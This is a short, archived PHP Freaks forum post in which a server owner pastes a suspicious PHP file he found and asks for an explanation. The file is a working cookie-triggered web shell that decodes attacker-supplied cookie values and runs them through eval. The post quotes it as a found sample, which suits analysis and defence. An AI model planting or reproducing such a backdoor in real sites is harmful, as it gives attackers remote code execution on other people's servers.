Jump to content

Please explain this 10 lines code


ITFreakz

Recommended Posts

I found this file on my server today. Could somebody please explain this code?

<?php
$c='count';
$a=$_COOKIE;
if(reset($a)=='12' && $c($a)>3)
{
$k='3456';
echo '<'.$k.'>';
eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));
echo '</'.$k.'>';
}
?>
Link to comment
https://forums.phpfreaks.com/topic/281543-please-explain-this-10-lines-code/
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.